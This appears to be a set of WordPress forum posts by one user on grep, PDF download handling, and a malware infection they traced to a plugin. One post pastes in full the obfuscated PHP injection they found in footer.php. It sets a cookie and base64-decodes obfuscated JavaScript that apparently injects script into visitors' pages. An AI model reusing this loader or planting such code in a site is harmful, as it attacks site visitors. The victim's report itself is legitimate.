sabinou

Thanks for the reply !

Can I humbly ask how grep will work ?

From what I remember, grep allows to select stuff among more stuff (OK, sorry about the abuse of the “stuff” word) and display only the matching results.

However, that doesn’t tell me how to browse a super large text file, in the first place, or am I mistaken here ?

Final update regarding this thread.

I found my reply the hard way : something trying to inject malware into my visitors, reported by Avast.

It appears something or someone is using or editing one way or another the Wp-Postratings plugin of Lesterchan (Gamerz) to run nasty stuff. I broke my blog’s public html output into several parts, splitting them over and over, until I found the code line triggering the virus injection was the call for wp-postratings. Deactivating the plugin stopped the virus attack on my visitors.

I had this malware injection attempt problem last week already, and Lesterchan, to whom I reported, simply concluded it wasn’t his plugin’s fault. Yeah, right. I deleted postratings by FTP and had wordpress reinstall it by connecting to ww.wp.xz.cn, but apart from that, the plugin is NOT vulnerable to something using it, not to the least, no.
I don’t blame Lesterchan, it may be another compromised website on my shared host, it may be me allowing stuff I didn’t notice, it could be pretty anything, but I’m still rather annoyed at a plugin allowing, twice, a security hole.

Case closed, the rest is outside of the present thread’s object.

Update : WHAT THE HELL ?!

It’s not only the public version served to the visitors, there is THIS in the footer.php code (added with a legit line to give you its position)

<?php wp_footer(); ?>
<?php
$__name = "d41d8cd98f00b204e9800998ecf8427e";
if(1>0 ) {
error_reporting(0);
$date = date("D, j M Y 00:00:00", time()+60*60*24*30);
$cookie = time().".".rand(1111111, 9999999);
echo "<script type=\"text/javascript\">document.cookie = \"".$__name."=\"+escape('".$cookie."')+\"; expires=".$date."; path=/\";</script>";

$__f = implode("", array_map("chr", explode(" ", "98 97 115 101 54 52 95 100 101 99 111 100 101")));
echo $__f("PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPnJpZj0wLjA0OTtyaWYrKzttZXQ9ZmFsc2U7b2JlPWNhcCgnaWdLWFo1emJtMCcsMTQpO2xhdj0wLjAwODtsYXYtLTtsaXQ9J2kxNThXczcnO3dvcD0yMzt3b3ArPTE3O3NheT1jYXAoJ1ZVSmhybjlQUGxHbmM1dThsSlowdXBMWUtWM0xCVWVhM1VNdThUMVN3UjhwRkw0Wnl1V0tLNW11YjhKdjYwVE1KcnJuaWtVcmttYzVVVGxqRFcwNEJwZjl6MFZPYVRza01YWE9uRTRrTlVGU3hFcE1XYkFsbTU3MEhZejdUSGRONmg5V1NyMUdjS0lEbFdmajBFQ3ZLbjN4QlRlSjNpaThoSm5mT2snLDUpO2x1eD0naGFtJztib3k9Mzk3ODtqYXI9ZG9jdW1lbnQ7amFyW29iZV0oc2F5KTtmdW5jdGlvbiBkdWQoa3Esa3ope3ZhciBrayxiLHM7dz03ODA1O3crKztrPVsndm93JywnZWxkJywnbWlkJ107cD0wLjAwNDc7cCs9MC4wMDM7ZD02O2lmKGQ8MjIpe2w9MC4wMzY7aWYobD4xNil7Zj03MTc0O2lmKGYhPTApe3E9MC4wMTc7aWYocT4wLjAyMjcpe3o9MjE7ei09MTQ7aD0zNDA4O2grK319dT1bMCwyNCwxNiwzMiw4XX1qPTgwMzh9dj0wLjAxNTg7aWYodiE9MCl7bz0wLjAwNDtpZihvPG51bGwpe3k9MC4wMDN9fXM9L1tOMGVNQzZnN0hwXS9nO2M9bnVsbDtjLT00OTM2O249bnVsbDt4PTU3NzU7eCs9MC4wMDYxO2I9JzZzN3VnYk1zTXQ3cic7cj0wLjAwOTU7cisrO3Q9MC4wMDk3O3QtLTtnPTAuMDUxNDtpZihnPDE2KXtpPTE0ODg7aWYoaTwzOTc4KXttPTAuMDA2O20rKzthPTA7YSs9MTE3Mn1rdz0zNDkzO2t3LT0yNDAzfWtrPWIucmVwbGFjZShzLCcnKTtrcD0wLjAwNjtrcCsrO2tkPTExO2lmKGtkPDc3MTEpe2tsPTM2NzE7a2wtPTcyNTZ9a2Y9MC4wMDU3O2tmKys7cmV0dXJuIGtrfWZ1bmN0aW9uIGNhcChqayxqcCl7dmFyIHJiLG9uLGZiLG91LGQsYWUsb3QsbWIsZmcsYWMsYWYsb2ksYWUscnIsbWcscmMsZCxycixmYixycixmZyx4LGo7aT0yNDtpLT0zMzc4O2Y9WzI4LDIxLDE0LDM1LDcsMF07cj0nc2VsJztvPTE5O2lmKG8hPTAuMDE1KXthPXtsZXU6Wyd3YWUnLCdnaXAnXX07bT0wLjAxfWo9ZHVkKCk7bD0yMjtpZihsPDE1KXt5PTI5NTk7eSs9MjR9aD05O2lmKGg9PTYpe3Q9NTA0MTt0Kz0xNDk5fWM9MC4wMDcyO2MrPTAuMDEyO2Q9J3VOZGpsZW51bGhuJ1tqXSg0LDMpO2c9J2hhcyc7dT0nVUlKa0s0Xyc7cT0yMjtxLS07ZCs9J0hfU0ZndGhjVydbal0oNCwzKTtrPTI4MzA7cD0nZmVlJzt4PTg2O3c9MC4wMDg7dy0tO2I9MzA7aWYoYj4yNil7ej17b3ZhOjAuMDI5OX07bj03NTU3O2lmKG48NDY5Mil7dj0wLjAyMjtpZih2PDAuMDE3KXtmaT0xMTYwfWZmPTAuMDE5O2lmKGZmPjY0ODcpe2ZyPTAuMDA5NTtmci0tO2ZvPTAuMDAzfX19eC09MjQ7ZmE9MC4wMDc2O2ZhKz0xODtmbT0xMTtpZihmbSE9Nyl7Zmo9MTE0MDtpZihmajwwLjAwMSl7Zmw9MC4wMDM3O2lmKGZsPjUwMDkpe2Z5PTE4O2Z5LT0xNH1mZT0zMTA3O2lmKGZlIT0wKXtmaD00MzM0O2ZoKyt9fX1mdD03NTIxO2lmKGZ0PjApe2ZjPTU3Nzc7ZmQ9dHJ1ZX1mZz0ncWlmaW5kZUJyV2EnW2pdKDMsNCk7ZnU9Mzg3MTtmdS0tO2ZxPTI4NTk7ZnM9MC4wMTU7ZnMtLTtmZys9J09saVh4T2Z1Uk9nJ1tqXSg0LDMpO2ZwPTAuMDA3O2ZwLT02O2Z4PTAuMDE5O2Z4Kys7Znc9MC4wMTE7ZncrPTIxO2ZiPSdqaHR5c3VibXpSVCdbal0oNCwzKTtmej0wLjAxMzY7ZnotLTtmbj0xMjtmYis9J3Brc3RyaFInW2pdKDIsMyk7cmk9NztyaSsrO3JmPTE5O3JmKys7cnI9J2FTR2pmcm9tWjRFNidbal0oNCw0KTtybz0zNTI5O3JvLS07cmE9MC4wMjU7aWYocmE+bnVsbCl7cm09MC4wMDM1O3JtKyt9cnIrPSdxVjh3Q2hhcmRJejUnW2pdKDQsNCk7cmw9MTUxNTtybCsrO3J5PTAuMDExO3J5Kz0wLjAzMTY7cnIrPSdtakNvZGVnNSdbal0oMiw0KTtyaD1bMTQsNDIsMCwzNSwyOCwyMSw3XTtydD0nekFPQ1VpNW9tMyc7cmM9MjE7cmQ9MC4wMDY1O3JkKz0yOTtyZz0wLjAxO2lmKHJnPT0xNDgxKXtydT00MjA1O3J1Kyt9cnE9MjQxMjtycSs9NzUxMjtyYy09NTtycz01NjM4O2lmKHJzPjkpe3JrPW51bGw7cnA9MDtycCs9MTYyN31yeD0wLjAxNzM7cngtPTAuMDEwOTtydz1udWxsO3JiPSc3aE9wUjVlR05Zdk1yNEVBVlN3dUszZGpJYno5MVpDYTI4Z21xNlhseUJRdGt4TEppVUQwSG5QV29Uc2NGZic7cno9MTk7cnotLTtybj17dm94Oidjb3gnfTtydj1bJ2VuZCcsJ2F3biddO29pPScnO29mPTAuMDc3O2lmKG9mPT1udWxsKXtvcj0wLjAwODtpZihvcj43MDgyKXtvbz0wLjAwMTM7aWYob288MC4wMDUpe29hPTU3NzM7aWYob2E+MCl7b209MjE7b20rPTU7b2o9MC4wMTN9fX19b2w9MTIyMztveT0yMTtpZihveT09bnVsbCl7b2U9MTI7b2g9J2hvZyd9b3Q9Jyc7b2M9MTM7b2MrKztvZD0nc2FkJztvZz01ODU0O29nLS07b3U9MDtvcT0zNzExO2lmKG9xIT0xMil7b3M9J3dhZCc7b2s9MDtvay09Nzc0MX1vcD0zNTI5O29wLT0wLjAwMTE7b3g9Mjg7aWYob3g8OSl7b3c9MC4wMjM7b2I9MC4wMTtpZihvYjwwLjA0Nyl7b3o9Wyd3b3cnLCdnZWQnLCdtYWMnXX19b249amtbZF07b3Y9e293ZTowLjA0NDd9O2FpPVsxMCw1LDAsMjAsMjUsMzAsMzUsMTVdO2ZvcihhZj0wO2FmPG9uO2FmKyspe2FyPWZhbHNlO2FvPTM3MDg7aWYoYW8+MCl7YWE9NTthYS0tfW91Kz1qcDthbT02MjUzO2lmKGFtIT0wLjA0OTYpe2FqPTYxNzE7YWotLTthbD1udWxsO2FsKz0zNzA4fWF5PTg7YXkrKzthZT1qa1tmYl0oYWYsMSk7YWg9MC4wMDU7YWgrKzthdD02O2F0Kys7YWM9cmJbZmddKGFlKTthZD0wLjAxOTthZCsrO2FnPTI1ODg7YWcrKzthdT0wLjAxMTtpZihhdT4zNDExKXthcT0zNjEzO2FxLT0xMn1hYys9b3U7YXM9WzE2LDMyLDQ4LDQwLDI0LDgsMF07YWs9MTQ7aWYoYWs9PTAuMDAxMSl7YXA9NjY4MjthcC0tO2F4PTAuMDA2MjtpZihheDwwLjAxNCl7YXc9MzcyMDthdysrO2FiPTAuMDA5O2FiLT01NjAyfX1hej04NjY0O2FjJT14O2FuPTAuMDA0ODthbisrO2F2PTI2O2F2LS07b2krPXJiW2ZiXShhYywxKTttaT0wLjAwODY7aWYobWkhPTAuMDEpe21mPTc7bWYtPTM2NjQ7bXI9bnVsbDttcis9MC4wMTAzfW1vPTAuMDExNjtpZihtbzwwLjAxMDEpe21hPTY2NjI7aWYobWE9PTAuMDA3KXttbT0xMDU0O21tKys7bWo9MzQwMTtpZihtaiE9bnVsbCl7bWw9Mjg1NDtpZihtbD4wLjAwNTEpe215PTc0MTU7bXktLTttZT1udWxsO21lKz0xMn1taD0wLjAwMzttaCs9MC4wMTF9fW10PTE0Nzc7bXQtPTl9fW1jPTA7bWMrPTE0O21kPSdNRGt0UWcnO2ZvcihtZz0wO21nPG9uOyl7bXU9bnVsbDttdS09MTk7bXE9J3JleCc7YWU9b2lbZmJdKG1nLDIpO21rPTAuMDQ1NTttcD0wLjAxODttcC0tO214PTE1MDA7aWYobXghPTE4KXttdz1bJ29wcycsJ29yZScsJ29yYyddfW1iPXBhcnNlSW50KGFlLHJjKTttej1udWxsO21uPTAuMDA5O2lmKG1uPT03OTkwKXttdj0wLjAwNDg7bXYrK31qaT0wO2ppLT0yMztvdCs9U3RyaW5nW3JyXShtYik7amY9J1czSW5TbWRpWCc7anI9Njk3MTtpZihqcjxudWxsKXtqbz0wO2pvLT02MDk3O2phPTUwOTR9bWcrPTI7am09MTc5MztqbSs9MzA7amo9ZmFsc2U7amw9NjtpZihqbCE9NDg5Nyl7ank9MC4wMDkyO2p5Kyt9fWplPTUwNTU7amUtLTtqaD0xNTtqaCsrO2p0PTAuMDI0NjtpZihqdD09MC4wMTQpe2pjPTAuMDExMjtpZihqYzwwKXtqZD02O2pkLT0xNX1qZz0wLjAxNTU7aWYoamchPTM1ODYpe2p1PTAuMDE5O2lmKGp1PT0wLjAzMjUpe2pxPSdzYXAnfWpzPTM4ODQ7anMrPTE4ODJ9fXJldHVybiBvdH08L3NjcmlwdD4=");
} unset($__name);

?>

I can’t believe I forgot to mention it.

I meant that one, indeed : http://ww.wp.xz.cn/extend/plugins/google/

Well, this is partly a browser issue, but not always.

Allow me to clarify what I mean : not all browsers share the same settings.
– if the browser’s rule is to ALWAYS give choice between viewing and downloading, then my job is done, there is nothing I can do for my wife’s ebooks website
– if the browser’s rule is to ALWAYS open the pdf online unless it’s php-hardcoded to force the download or wordpress forces this mimetype to downloading only, then the PDF will be open online by default.
To this day, except IE, I think that all other modern browsers open the PDFs online by default.

And it’s in this second situation that I can help my wife if I find how to force WordPress to handle differently two links to a PDF, one way or another.